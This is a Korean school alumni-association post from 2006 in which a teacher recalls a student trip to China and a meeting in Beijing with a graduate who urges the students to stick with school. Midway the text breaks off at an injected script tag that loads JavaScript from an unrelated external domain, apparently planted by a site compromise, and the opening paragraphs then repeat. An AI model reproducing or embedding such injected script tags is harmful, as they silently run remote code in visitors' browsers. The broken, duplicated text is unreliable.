북경에서의 기쁜 만남
작성자 : 후원회 | 조회수 : 3,137 | 작성일 : 2006년 10월 23일
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<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>지난 9월, 학생들과 7박 8일간 일정으로 중국을 다녀왔다. 그 기간동안 북한 돕기 감자 캐기 봉사활동, 백두산 등정, 역사, 문화체험 등 다양한 체험들을 했었다. 그중 중국에서 가장 인상적인 것은 ‘북경에서의</FONT> <FONT face=돋움체>특별한 만남’이었다</FONT>.</SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 북경에 도착하자 학생들은 인문과학대학으로 유명한 국립 ‘북경대학교’를 방문하였다. 북경대학교는 그 규모와 고풍스런 건물, 울창한 정원 등이 우리의 가던 길을 멈춰 서게 할 정도로 압도하였고, 학문적 향기가 물씬 배어 나왔다. 저녁에는 북경의 최대 번화가인 ‘왕부정(王府井, 왕푸징) 상점거리’를 견학했다. 이곳에서는 학생들에게 자유로운 시간을 마련해 거리의 풍경을 살필 기회를 주었는데, 약속시간이 되자 삼삼오오 즐거운 듯 집결지로 모여 들었고, 그 자리에는 양업의 작년도 졸업생 성락 군이 가다리고 있었다.</FONT> <FONT face=돋움체>내가 성락 군을 “여러분의 선배입니다.”라고 소개하자, 학생들이 우르르 몰려들었다. 이내 성락 군은 “저는 작년 졸업생입니다. 북경 외국어대학에 다닙니다. 여러분 만나서 반갑습니다.” 라고 인사를 했다. 학생들 중 누군가가 선배를 어디서 보았는지 “양업학교 선배들은 세상 어디를 가든 짱 박혀있네. 야, 좋다.”하며 답례를 하듯 소리쳤다. 자퇴를 한다고 가끔 엄포를 놓던 한 여학생이 바짝 다가서며 “선배님, 여기까지 어떻게 왔어요? 알려주세요.” 하며 조르자 성락 군은 대뜸 큰 소리로, “여러분! 양업학교는 정말 좋은 학교입니다. 학교 있을 때는 몰랐는데 졸업하고서야 정말 좋은 학교라는 것을 알게 되었습니다. 학교생활이 힘들지만 무조건 잘 버티세요. 내가 학교가 좋다는 것을 여기서 다 설명할 수는 없어요. 말한다 해도 여러분은 지금은 잘 몰라요. 무조건 끝까지 다녀요. 나에게 양업이 없었다면 이곳까지 올 수 없었을 것입니다.” 귀를 세우고 경청하는 학생들의 자세가 너무나 진지했는지 지나가는 시민들도 열변을 토하는 성락 군을 신기하듯 쳐다보며 지나갔다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 사실 성락 군은 3년 동안 범생이, 예쁜 남학생이었다</FONT>. <FONT face=돋움체>부모는 아들에게 강한 인내력을 키워줄 목적으로 양업에 입학시켰었다. 성락 군은 심성이 여성스럽고 너무 여려, 1,2학년 시절은 드센 선배들이 끼고 노는 밥이었다. 사랑이 넘쳐나는 부모님과 가정의 좋은 환경, 아무 것도 부족함이 없이 지내는 성락 군이 단지 의지력을 키우기 위해 이질문화 속에 들어온 것이었기에 아마 무척 힘들었을 것이다. 대체로 마마보이들은 어려운 생활을 접고는 옛날의 안락한 강보가 그리워 엄마 품으로 다시 돌아갔는데, 성락 군만은 끝까지 강보에 쌓이는 것을 거부하고 끌까지 인내하며 지냈다. 처음에는 드센 선배들이 성락 군의 여린 성품을 갖고 귀찮게 했지만, 차츰 잘도 버티고 서있는 성락 군을 인정하게 되었다. 3학년이 되자, 성락 군은 누구보다도 주도적이고 자발적인, 사회성 좋은 학생으로 성숙해 갔다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 성락 군이 “무조건 졸업하라”고 한 말의 의미는 내가 어려움이 있을 때라도 흔들림 없이 강보에 쌓이는 것을 거부하고 적극적으로 살았기 때문에 얻은 결실로 내가 이 곳 북경에 당당히 서 있다는 설명이었다. 성락 군은 언제나 양업이 ?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>지난 9월, 학생들과 7박 8일간 일정으로 중국을 다녀왔다. 그 기간동안 북한 돕기 감자 캐기 봉사활동, 백두산 등정, 역사, 문화체험 등 다양한 체험들을 했었다. 그중 중국에서 가장 인상적인 것은 ‘북경에서의</FONT> <FONT face=돋움체>특별한 만남’이었다</FONT>.</SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 북경에 도착하자 학생들은 인문과학대학으로 유명한 국립 ‘북경대학교’를 방문하였다. 북경대학교는 그 규모와 고풍스런 건물, 울창한 정원 등이 우리의 가던 길을 멈춰 서게 할 정도로 압도하였고, 학문적 향기가 물씬 배어 나왔다. 저녁에는 북경의 최대 번화가인 ‘왕부정(王府井, 왕푸징) 상점거리’를 견학했다. 이곳에서는 학생들에게 자유로운 시간을 마련해 거리의 풍경을 살필 기회를 주었는데, 약속시간이 되자 삼삼오오 즐거운 듯 집결지로 모여 들었고, 그 자리에는 양업의 작년도 졸업생 성락 군이 가다리고 있었다.</FONT> <FONT face=돋움체>내가 성락 군을 “여러분의 선배입니다.”라고 소개하자, 학생들이 우르르 몰려들었다. 이내 성락 군은 “저는 작년 졸업생입니다. 북경 외국어대학에 다닙니다. 여러분 만나서 반갑습니다.” 라고 인사를 했다. 학생들 중 누군가가 선배를 어디서 보았는지 “양업학교 선배들은 세상 어디를 가든 짱 박혀있네. 야, 좋다.”하며 답례를 하듯 소리쳤다. 자퇴를 한다고 가끔 엄포를 놓던 한 여학생이 바짝 다가서며 “선배님, 여기까지 어떻게 왔어요? 알려주세요.” 하며 조르자 성락 군은 대뜸 큰 소리로, “여러분! 양업학교는 정말 좋은 학교입니다. 학교 있을 때는 몰랐는데 졸업하고서야 정말 좋은 학교라는 것을 알게 되었습니다. 학교생활이 힘들지만 무조건 잘 버티세요. 내가 학교가 좋다는 것을 여기서 다 설명할 수는 없어요. 말한다 해도 여러분은 지금은 잘 몰라요. 무조건 끝까지 다녀요. 나에게 양업이 없었다면 이곳까지 올 수 없었을 것입니다.” 귀를 세우고 경청하는 학생들의 자세가 너무나 진지했는지 지나가는 시민들도 열변을 토하는 성락 군을 신기하듯 쳐다보며 지나갔다.</FONT></SPAN> </FONT></P>
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